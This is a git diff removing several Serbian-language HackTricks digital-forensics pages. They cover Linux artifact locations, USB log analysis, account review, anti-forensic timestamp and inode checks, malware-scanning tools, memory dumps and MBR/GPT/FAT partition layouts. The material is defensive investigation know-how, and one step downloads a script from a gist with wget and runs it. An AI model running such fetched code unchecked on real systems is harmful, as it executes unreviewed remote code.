- **SSH**: Istražite _\~/.ssh/authorized_keys_ i _\~/.ssh/known_hosts_ za neovlašćene udaljene konekcije.
|
||||
- **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
|
||||
- **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
- **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su pristupane putanje datoteka i istorija pretrage.
|
||||
- **Open Office**: Proverite za nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
|
||||
- **FTP/SFTP**: Pregledajte logove u _\~/.ftp_history_ ili _\~/.sftp_history_ za prenose datoteka koji bi mogli biti neovlašćeni.
|
||||
- **MySQL**: Istražite _\~/.mysql_history_ za izvršene MySQL upite, što može otkriti neovlašćene aktivnosti u bazi podataka.
|
||||
- **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
|
||||
- **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||
|
||||
### USB logovi
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije događaja USB-a.
|
||||
|
||||
Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate ovlašćenu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
|
||||
### Instalacija
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### Primeri
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
#Search for vid and/or pid
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Više primera i informacija unutar github-a: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
## Pregled korisničkih naloga i aktivnosti prijavljivanja
|
||||
|
||||
Istražite _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne logove** za neobična imena ili naloge koji su kreirani i ili korišćeni u bliskoj blizini poznatih neovlašćenih događaja. Takođe, proverite moguće sudo brute-force napade.\
|
||||
Pored toga, proverite datoteke kao što su _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije dodeljene korisnicima.\
|
||||
Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama.
|
||||
|
||||
## Istraživanje fajl sistema
|
||||
|
||||
### Analiza struktura fajl sistema u istraživanju malvera
|
||||
|
||||
Kada istražujete incidente sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako redosled događaja tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka fajlova ili izbegavanje fajl sistema za skladištenje podataka.
|
||||
|
||||
Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
|
||||
|
||||
- **Sprovesti temeljnu analizu vremenske linije** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
|
||||
- **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
|
||||
- **Istražiti `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati i fajlove povezane sa malverom.
|
||||
- **Pretražiti skrivene fajlove ili direktorijume** sa imenima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji mogu prikrivati zlonamerni sadržaj.
|
||||
- **Identifikovati setuid root fajlove** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim privilegijama, koje napadači mogu zloupotrebiti.
|
||||
- **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja fajlova, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
|
||||
- **Inspektovati uzastopne inode** za obližnje zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
|
||||
- **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi mogli biti izmenjeni od strane malvera.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!NOTE]
|
||||
> Imajte na umu da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke modifikovane**.
|
||||
|
||||
## Upoređivanje datoteka različitih verzija datotečnog sistema
|
||||
|
||||
### Sažetak upoređivanja verzija datotečnog sistema
|
||||
|
||||
Da bismo uporedili verzije datotečnog sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
|
||||
|
||||
- **Da pronađete nove datoteke**, uporedite dve fascikle:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Da biste otkrili obrisane fajlove**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Opcije filtriranja** (`--diff-filter`) pomažu u sužavanju na specifične promene kao što su dodati (`A`), obrisani (`D`), ili izmenjeni (`M`) fajlovi.
|
||||
- `A`: Dodati fajlovi
|
||||
- `C`: Kopirani fajlovi
|
||||
- `D`: Obrisani fajlovi
|
||||
- `M`: Izmenjeni fajlovi
|
||||
- `R`: Preimenovani fajlovi
|
||||
- `T`: Promene tipa (npr., fajl u symlink)
|
||||
- `U`: Neusaglašeni fajlovi
|
||||
- `X`: Nepoznati fajlovi
|
||||
- `B`: Pokvareni fajlovi
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
|
||||
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **Knjiga: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,154 +0,0 @@
|
||||
# Analiza Malvera
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Forenzičke CheatSheets
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
## Online Usluge
|
||||
|
||||
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
- [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
- [Koodous](https://koodous.com)
|
||||
- [Intezer](https://analyze.intezer.com)
|
||||
- [Any.Run](https://any.run/)
|
||||
|
||||
## Offline Antivirus i Alati za Detekciju
|
||||
|
||||
### Yara
|
||||
|
||||
#### Instaliraj
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Pripremite pravila
|
||||
|
||||
Koristite ovaj skript za preuzimanje i spajanje svih yara pravila za malware sa github-a: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Kreirajte _**rules**_ direktorijum i izvršite ga. Ovo će kreirati datoteku pod nazivom _**malware_rules.yar**_ koja sadrži sva yara pravila za malware.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Skeniranje
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Proverite malver i kreirajte pravila
|
||||
|
||||
Možete koristiti alat [**YaraGen**](https://github.com/Neo23x0/yarGen) za generisanje yara pravila iz binarnog fajla. Pogledajte ove tutorijale: [**Deo 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Deo 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Deo 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
### ClamAV
|
||||
|
||||
#### Instaliraj
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Skeniranje
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** detektuje potencijalno zlonamerne **kapacitete** u izvršnim datotekama: PE, ELF, .NET. Tako će pronaći stvari kao što su Att\&ck taktike, ili sumnjivi kapaciteti kao što su:
|
||||
|
||||
- provera za OutputDebugString grešku
|
||||
- pokretanje kao servis
|
||||
- kreiranje procesa
|
||||
|
||||
Preuzmite ga u [**Github repozitorijumu**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
IOC znači Indikator Kompromitacije. IOC je skup **uslova koji identifikuju** neki potencijalno neželjeni softver ili potvrđeni **malver**. Plave ekipe koriste ovu vrstu definicije da **traže ovakve zlonamerne datoteke** u svojim **sistemima** i **mrežama**.\
|
||||
Deljenje ovih definicija je veoma korisno jer kada se malver identifikuje na računaru i kreira se IOC za taj malver, druge Plave ekipe mogu to koristiti da brže identifikuju malver.
|
||||
|
||||
Alat za kreiranje ili modifikovanje IOCs je [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Možete koristiti alate kao što su [**Redline**](https://www.fireeye.com/services/freeware/redline.html) da **tražite definisane IOCs na uređaju**.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) je skener za Simple Indicators of Compromise.\
|
||||
Detekcija se zasniva na četiri metode detekcije:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) je skener malvera za Linux koji je objavljen pod GNU GPLv2 licencom, a dizajniran je oko pretnji sa kojima se suočavaju deljeni hostovani okruženja. Koristi podatke o pretnjama iz sistema za detekciju upada na mrežnom rubu kako bi izvukao malver koji se aktivno koristi u napadima i generiše potpise za detekciju. Pored toga, podaci o pretnjama se takođe dobijaju iz korisničkih prijava putem LMD checkout funkcije i resursa zajednice malvera.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Alati poput [**rkhunter**](http://rkhunter.sourceforge.net) mogu se koristiti za proveru datotečnog sistema na moguće **rootkitove** i malver.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) je alat koji pokušava da pronađe obfuskirane stringove unutar izvršnih datoteka koristeći različite tehnike.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper ](https://github.com/Th3Hurrican3/PEpper)proverava neke osnovne stvari unutar izvršne datoteke (binarni podaci, entropija, URL-ovi i IP adrese, neka yara pravila).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) je alat koji omogućava dobijanje informacija o Windows izvršnim datotekama kao što su uvozi, izvozi, zaglavlja, ali takođe proverava virus total i pronalazi potencijalne Att\&ck tehnike.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) je alat za detekciju da li je datoteka **kriptovana** i takođe pronalazi **pakere**.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)je Python skripta koja koristi razne **statističke metode** za detekciju **obfuskovanog** i **kriptovanog** sadržaja unutar tekstualnih/skript datoteka. Namena NeoPI-a je da pomogne u **detekciji skrivenog web shell koda**.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) daje sve od sebe da detektuje **obfuskovani**/**sumnjivi kod** kao i datoteke koje koriste **PHP** funkcije često korišćene u **malverima**/webshell-ima.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
Kada proveravate neki **uzorak malvera**, uvek treba da **proverite potpis** binarne datoteke jer **razvijač** koji je potpisao može već biti **povezan** sa **malverom.**
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
#Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Tehnike Detekcije
|
||||
|
||||
### Stacking Fajlova
|
||||
|
||||
Ako znate da je neka fascikla koja sadrži **fajlove** web servera **poslednji put ažurirana na neki datum**. **Proverite** **datum** kada su svi **fajlovi** na **web serveru** kreirani i modifikovani i ako je neki datum **sumnjiv**, proverite taj fajl.
|
||||
|
||||
### Osnovne Linije
|
||||
|
||||
Ako **fajlovi** u fascikli **ne bi trebali biti modifikovani**, možete izračunati **hash** **originalnih fajlova** iz fascikle i **uporediti** ih sa **trenutnim**. Sve što je modifikovano će biti **sumnjivo**.
|
||||
|
||||
### Statistička Analiza
|
||||
|
||||
Kada su informacije sačuvane u logovima, možete **proveriti statistiku kao što je koliko puta je svaki fajl web servera bio pristupljen, jer bi web shell mogao biti jedan od naj**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,37 +0,0 @@
|
||||
# Analiza memorijskih dump-ova
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Početak
|
||||
|
||||
Počnite **pretragu** za **malverom** unutar pcap-a. Koristite **alate** navedene u [**Analiza malvera**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility je glavni open-source okvir za analizu memorijskih dump-ova**. Ovaj Python alat analizira dump-ove iz spoljašnjih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu OS profila dump-a. Proširiv je sa plugin-ovima, što ga čini veoma svestranim za forenzičke istrage.
|
||||
|
||||
**[Ovde pronađite cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## Izveštaj o mini dump-u
|
||||
|
||||
Kada je dump mali (samo nekoliko KB, možda nekoliko MB), onda je verovatno reč o izveštaju o mini dump-u, a ne o memorijskom dump-u.
|
||||
|
||||
.png>)
|
||||
|
||||
Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i povezati neke osnovne informacije kao što su ime procesa, arhitektura, informacije o izuzecima i moduli koji se izvršavaju:
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe možete učitati izuzetak i videti dekompilovane instrukcije
|
||||
|
||||
.png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
U svakom slučaju, Visual Studio nije najbolji alat za izvođenje analize dubine dump-a.
|
||||
|
||||
Trebalo bi da ga **otvorite** koristeći **IDA** ili **Radare** da biste ga pregledali u **dubini**.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,234 +0,0 @@
|
||||
# Partitions/File Systems/Carving
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Partitions
|
||||
|
||||
Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
|
||||
**Minimalna** jedinica diska je **sektor** (normalno sastavljen od 512B). Tako da, veličina svake particije mora biti višekratnik te veličine.
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je bitan da bi se PC-ju naznačilo šta i odakle treba montirati particiju.\
|
||||
Omogućava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Zadnji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
|
||||
MBR omogućava **maksimalno 2.2TB**.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo diska hard diska zavisi od Windows Disk Signature. Promena ovog potpisa može sprečiti Windows da se pokrene (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
.png>)
|
||||
|
||||
**Format**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Boot code |
|
||||
| 446 (0x1BE) | 16 (0x10) | Prva particija |
|
||||
| 462 (0x1CE) | 16 (0x10) | Druga particija |
|
||||
| 478 (0x1DE) | 16 (0x10) | Treća particija |
|
||||
| 494 (0x1EE) | 16 (0x10) | Četvrta particija |
|
||||
| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
|
||||
|
||||
**Format zapisa particije**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Aktivna zastavica (0x80 = bootable) |
|
||||
| 1 (0x01) | 1 (0x01) | Početna glava |
|
||||
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
|
||||
| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Krajnja glava |
|
||||
| 6 (0x06) | 1 (0x01) | Krajnji sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Krajnji cilindar najniži 8 bitova |
|
||||
| 8 (0x08) | 4 (0x04) | Sektori koji prethode particiji (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektori u particiji |
|
||||
|
||||
Da biste montirali MBR u Linuxu, prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
I zatim koristite sledeći kod
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logičko adresiranje blokova)**
|
||||
|
||||
**Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **određivanje lokacije blokova** podataka koji se čuvaju na uređajima za skladištenje računara, obično na sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
|
||||
|
||||
### GPT (GUID tabela particija)
|
||||
|
||||
GUID tabela particija, poznata kao GPT, favorizovana je zbog svojih poboljšanih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se izdvaja na nekoliko načina:
|
||||
|
||||
- **Lokacija i veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64bita**, u kontrastu sa MBR-ovih 32bita.
|
||||
- **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka.
|
||||
- **Imena particija**: Omogućava imenovanje particija sa do 36 Unicode karaktera.
|
||||
|
||||
**Otpornost podataka i oporavak**:
|
||||
|
||||
- **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o pokretanju na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
|
||||
- **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke iz druge lokacije na disku.
|
||||
|
||||
**Zaštitni MBR (LBA0)**:
|
||||
|
||||
- GPT održava unazad kompatibilnost kroz zaštitni MBR. Ova funkcija se nalazi u prostoru nasleđenog MBR-a, ali je dizajnirana da spreči starije MBR-bazirane alate da greškom prepisuju GPT diskove, čime se štiti integritet podataka na GPT-formatiranim diskovima.
|
||||
|
||||
.png>)
|
||||
|
||||
**Hibridni MBR (LBA 0 + GPT)**
|
||||
|
||||
[Sa Wikipedije](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
U operativnim sistemima koji podržavaju **GPT-bazirano pokretanje putem BIOS** usluga umesto EFI, prvi sektor se takođe može koristiti za skladištenje prve faze **bootloader** koda, ali **modifikovan** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme da pretpostavlja veličinu sektora od 512 bajta.
|
||||
|
||||
**Zaglavlje tabele particija (LBA 1)**
|
||||
|
||||
[Sa Wikipedije](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli).
|
||||
|
||||
| Offset | Length | Sadržaj |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 bajta | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)na little-endian mašinama) |
|
||||
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 bajta | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
|
||||
| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, sa ovim poljem nula tokom izračunavanja |
|
||||
| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
|
||||
| 24 (0x18) | 8 bajta | Trenutni LBA (lokacija ove kopije zaglavlja) |
|
||||
| 32 (0x20) | 8 bajta | Backup LBA (lokacija druge kopije zaglavlja) |
|
||||
| 40 (0x28) | 8 bajta | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
|
||||
| 48 (0x30) | 8 bajta | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija − 1) |
|
||||
| 56 (0x38) | 16 bajta | Disk GUID u mešovitom endian |
|
||||
| 72 (0x48) | 8 bajta | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
|
||||
| 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
|
||||
| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
|
||||
| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u little endian |
|
||||
| 92 (0x5C) | \* | Rezervisano; mora biti nule za ostatak bloka (420 bajta za veličinu sektora od 512 bajta; ali može biti više sa većim veličinama sektora) |
|
||||
|
||||
**Unosi particija (LBA 2–33)**
|
||||
|
||||
| Format unosa GUID particije | | |
|
||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Length | Sadržaj |
|
||||
| 0 (0x00) | 16 bajta | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mešovit endian) |
|
||||
| 16 (0x10) | 16 bajta | Jedinstveni GUID particije (mešovit endian) |
|
||||
| 32 (0x20) | 8 bajta | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 bajta | Poslednji LBA (uključivo, obično neparan) |
|
||||
| 48 (0x30) | 8 bajta | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
|
||||
| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
|
||||
|
||||
**Tipovi particija**
|
||||
|
||||
.png>)
|
||||
|
||||
Više tipova particija na [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
### Istraživanje
|
||||
|
||||
Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete ispitati prvi sektor koristeći Windows alat [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici je otkriven **MBR** na **sektoru 0** i interpretiran:
|
||||
|
||||
.png>)
|
||||
|
||||
Ako je to bila **GPT tabela umesto MBR-a**, trebala bi se pojaviti oznaka _EFI PART_ u **sektoru 1** (koji je na prethodnoj slici prazan).
|
||||
|
||||
## Sistemi datoteka
|
||||
|
||||
### Lista Windows sistema datoteka
|
||||
|
||||
- **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
- **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT (Tabela alokacije datoteka)** sistem datoteka je dizajniran oko svoje osnovne komponente, tabele alokacije datoteka, koja se nalazi na početku volumena. Ovaj sistem štiti podatke održavanjem **dvije kopije** tabele, osiguravajući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnoj lokaciji**, što je ključno za proces pokretanja sistema.
|
||||
|
||||
Osnovna jedinica skladištenja sistema datoteka je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
|
||||
|
||||
- **FAT12**, podržava 12-bitne adrese klastera i obrađuje do 4078 klastera (4084 sa UNIX-om).
|
||||
- **FAT16**, unapređuje na 16-bitne adrese, čime se omogućava do 65,517 klastera.
|
||||
- **FAT32**, dodatno napreduje sa 32-bitnim adresama, omogućavajući impresivnih 268,435,456 klastera po volumenu.
|
||||
|
||||
Značajno ograničenje kod FAT verzija je **maksimalna veličina datoteke od 4GB**, koju nameće 32-bitno polje korišćeno za skladištenje veličine datoteke.
|
||||
|
||||
Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju:
|
||||
|
||||
- **Ime datoteke/foldera** (do 8 karaktera)
|
||||
- **Atributi**
|
||||
- **Datumi kreiranja, modifikacije i poslednjeg pristupa**
|
||||
- **Adresa FAT tabele** (koja označava početni klaster datoteke)
|
||||
- **Veličina datoteke**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** je najčešći sistem datoteka za **ne-journaled** particije (**particije koje se ne menjaju mnogo**) kao što je boot particija. **Ext3/4** su **journaled** i obično se koriste za **ostale particije**.
|
||||
|
||||
## **Metapodaci**
|
||||
|
||||
Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
|
||||
|
||||
- Naslov
|
||||
- Verzija MS Office-a koja se koristi
|
||||
- Autor
|
||||
- Datumi kreiranja i poslednje modifikacije
|
||||
- Model kamere
|
||||
- GPS koordinate
|
||||
- Informacije o slici
|
||||
|
||||
